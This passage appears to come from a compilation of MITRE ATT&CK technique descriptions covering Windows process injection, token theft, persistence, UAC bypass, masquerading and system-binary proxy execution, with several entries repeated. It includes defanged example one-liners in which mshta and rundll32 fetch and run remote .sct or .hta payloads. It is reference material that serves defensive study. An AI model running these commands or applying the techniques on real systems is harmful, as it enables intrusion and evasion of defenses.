Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)


T1055.001
Process Injection: Dynamic-link Library Injection

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.


DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)


Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)


Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module’s AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping)


Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.


T1055.002
Process Injection: Portable Executable Injection

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.


PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)


Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.


T1068
Exploitation for Privilege Escalation

Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.


When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.


Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via Ingress Tool Transfer or Lateral Tool Transfer.


T1134.001
Access Token Manipulation: Token Impersonation/Theft

Adversaries may duplicate then impersonate another user’s existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user’s security context, or with `SetThreadToken` to assign the impersonated token to a thread.


An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.


When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.


T1134.002
Access Token Manipulation: Create Process with Token

Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)


Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.


While this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.


T1543.003
Create or Modify System Process: Windows Service

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Windows Registry.


Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.


Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as “Bring Your Own Vulnerable Driver” (BYOVD)) as part of Exploitation for Privilege Escalation.(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)


Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component).


T1546.001
Event Triggered Execution: Change Default File Association

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.


System file associations are listed under HKEY_CLASSES_ROOT.[extension], for example HKEY_CLASSES_ROOT.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]shell\[action]command. For example:


* HKEY_CLASSES_ROOTtxtfileshellopencommand

* HKEY_CLASSES_ROOTtxtfileshellprintcommand

* HKEY_CLASSES_ROOTtxtfileshellprinttocommand


The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)


T1546.011
Event Triggered Execution: Application Shimming

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)


Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.


A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:


* %WINDIR%AppPatchsysmain.sdb and

* hklmsoftwaremicrosoftwindows ntcurrentversionappcompatflagsinstalledsdb


Custom databases are stored in:


* %WINDIR%AppPatchcustom & %WINDIR%AppPatchAppPatch64Custom and

* hklmsoftwaremicrosoftwindows ntcurrentversionappcompatflagscustom


To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).


Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.


T1547.004
Boot or Logon Autostart Execution: Winlogon Helper DLL

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLMSoftware[\Wow6432Node\]MicrosoftWindows NTCurrentVersionWinlogon and HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)


Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)


* WinlogonNotify – points to notification package DLLs that handle Winlogon events

* WinlogonUserinit – points to userinit.exe, the user initialization program executed when a user logs on

* WinlogonShell – points to explorer.exe, the system shell executed when a user logs on


Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.


T1547.012
Boot or Logon Autostart Execution: Print Processors

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)


Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLMSYSTEM\[CurrentControlSet or ControlSet001]ControlPrintEnvironments\[Windows architecture: e.g., Windows x64]Print Processors\[user defined]Driver Registry key that points to the DLL.


For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)


The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.


T1548.002
Abuse Elevation Control Mechanism: Bypass User Account Control

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)


If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)


Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:


* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)


Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)


T1574.007
Hijack Execution Flow: Path Interception by PATH Environment Variable

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.


Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.


For example, on Windows if an adversary places a malicious program named “net.exe” in `C:example path`, which by default precedes `C:Windowssystem32net.exe` in the PATH environment variable, when “net” is executed from the command-line the `C:example path` will be called instead of the system’s legitimate executable at `C:Windowssystem32net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.(Citation: ExpressVPN PATH env Windows 2021)


Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)


TA0005
Defense Evasion

Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.


Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)


T1036.004
Masquerading: Masquerade Task or Service

Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.


Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)


T1036.005
Masquerading: Match Legitimate Name or Location

Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.


Adversaries may also use the same icon of the file they are trying to mimic.


T1055
Process Injection

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.


There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.


More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.


T1055.001
Process Injection: Dynamic-link Library Injection

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.


DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)


Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)


Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module’s AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping)


Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.


T1055.002
Process Injection: Portable Executable Injection

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.


PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)


Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.


T1055.012
Process Injection: Process Hollowing

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.


Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)


This is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.


T1070
Indicator Removal

Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.


Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.


T1070.004
Indicator Removal: File Deletion

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary’s footprint.


There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in Command and Scripting Interpreter functions include del on Windows and rm or unlink on Linux and macOS.


T1134.001
Access Token Manipulation: Token Impersonation/Theft

Adversaries may duplicate then impersonate another user’s existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user’s security context, or with `SetThreadToken` to assign the impersonated token to a thread.


An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.


When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.


T1134.002
Access Token Manipulation: Create Process with Token

Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)


Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.


While this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.


T1134.003
Access Token Manipulation: Make and Impersonate Token

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session’s access token and the adversary can use `SetThreadToken` to assign the token to a thread.


This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.


T1205
Traffic Signaling

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.


Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).


The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.


On network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant – Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.


Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer – Ryuk WoL)(Citation: AMD Magic Packet)


T1218.005
System Binary Proxy Execution: Mshta

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)


Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)


Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))


They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta


Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)


T1218.007
System Binary Proxy Execution: Msiexec

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.


Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)


T1218.009
System Binary Proxy Execution: Regsvcs/Regasm

Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)


Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)


T1218.011
System Binary Proxy Execution: Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).


Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)


Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)


Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).


Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)


T1497.002
Virtualization/Sandbox Evasion: User Activity Based Checks

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)


Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)


T1518
Software Discovery

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.


T1548.002
Abuse Elevation Control Mechanism: Bypass User Account Control

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)


If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)


Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:


* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)


Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)


T1553.004
Subvert Trust Controls: Install Root Certificate

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root’s chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.


Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)


